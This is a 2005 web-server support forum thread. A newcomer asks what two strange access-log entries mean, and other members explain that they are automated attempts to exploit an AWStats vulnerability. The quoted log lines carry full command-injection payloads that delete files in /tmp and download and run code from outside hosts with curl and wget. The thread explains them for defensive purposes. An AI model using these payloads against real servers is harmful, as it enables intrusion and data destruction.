Server Log Help

 
Post new topic   Reply to topic    Aprelium Forum Index -> General Questions
View previous topic :: View next topic  
Author Message
PHILLIPO
-


Joined: 29 Jul 2005
Posts: 9
Location: SOUTHWEST UK

PostPosted: Sat Oct 22, 2005 2:35 am    Post subject: Server Log Help Reply with quote

how can I learn to decipher my server log - being relatively new to HTTP/hosting/servers etc , I would like to be able to understand the entries in laymans terms - or even learn the syntax of entries such as

204.91.207.11 - - [21/Oct/2005:09:38:27 +0100] "GET //awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;curl%20-O%20http://www.geocities.com/kidk1d/a.pl;perl%20a.pl;echo%20;rm%20-rf%20a.pl*;echo| HTTP/1.1" 404 234 "" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"

anyone able to assist?
Back to top View user's profile Send private message
Anonymoose
-


Joined: 09 Sep 2003
Posts: 2192

PostPosted: Sat Oct 22, 2005 8:54 am    Post subject: Reply with quote

You've picked a fairly tricky one as an example - it's actually a request looking to find a vulnerable version of AWStats and then do some pretty nasty stuff with perl shell trojans. The format itself is easy to explain though. http://www.bacuslabs.com/WsvlCLF.html has a great introduction. Check the section on "What is an Extended Common Log Format file?"
_________________

"Invent an idiot proof webserver and they'll invent a better idiot..."
Back to top View user's profile Send private message
PHILLIPO
-


Joined: 29 Jul 2005
Posts: 9
Location: SOUTHWEST UK

PostPosted: Thu Dec 08, 2005 12:20 pm    Post subject: Another complex log enrtry Reply with quote

211.214.161.159 - - [04/Dec/2005:00:04:05 +0000] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" 404 234 "" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"

Can you tell me what AWstats is ?

What is this entry - in laymans terms. I may have mentioned that I was a hardware tech. back in 89-90 - but software jargon goes way over my head....thANK
Back to top View user's profile Send private message
Anonymoose
-


Joined: 09 Sep 2003
Posts: 2192

PostPosted: Thu Dec 08, 2005 12:43 pm    Post subject: Reply with quote

AWStats is a Perl script which can be run on your server to provide a detailed breakdown of your access log. A while back, a vulnerability was discovered, which allowed unauthorised users to modify systems running the vulnerable version of the script.

The important part of the request in this respect is

Quote:

/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo|


which is a request to the directory awstats (/awstats/) to access the file awstats.pl and pass the parameter

Quote:

configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo|


which is the part of the request that would exploit a vulnerable system by forcing it to download and execute code from an external site.

The 404 in your request line shows that the file was not found an error was returned to the attacker (which was most likely automated rather than an individual specifically targetting you).

Hope this clears things up.
_________________

"Invent an idiot proof webserver and they'll invent a better idiot..."
Back to top View user's profile Send private message
aprelium
-


Joined: 22 Mar 2002
Posts: 6800

PostPosted: Thu Dec 08, 2005 12:46 pm    Post subject: Re: Another complex log enrtry Reply with quote

PHILLIPO wrote:
Can you tell me what AWstats is ?

AWstats is a popular script which analyses web site logs.
_________________
Support Team
Aprelium - http://www.aprelium.com
Back to top View user's profile Send private message Send e-mail
Display posts from previous:   
Post new topic   Reply to topic    Aprelium Forum Index -> General Questions All times are GMT + 1 Hour
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum


Powered by phpBB phpBB Group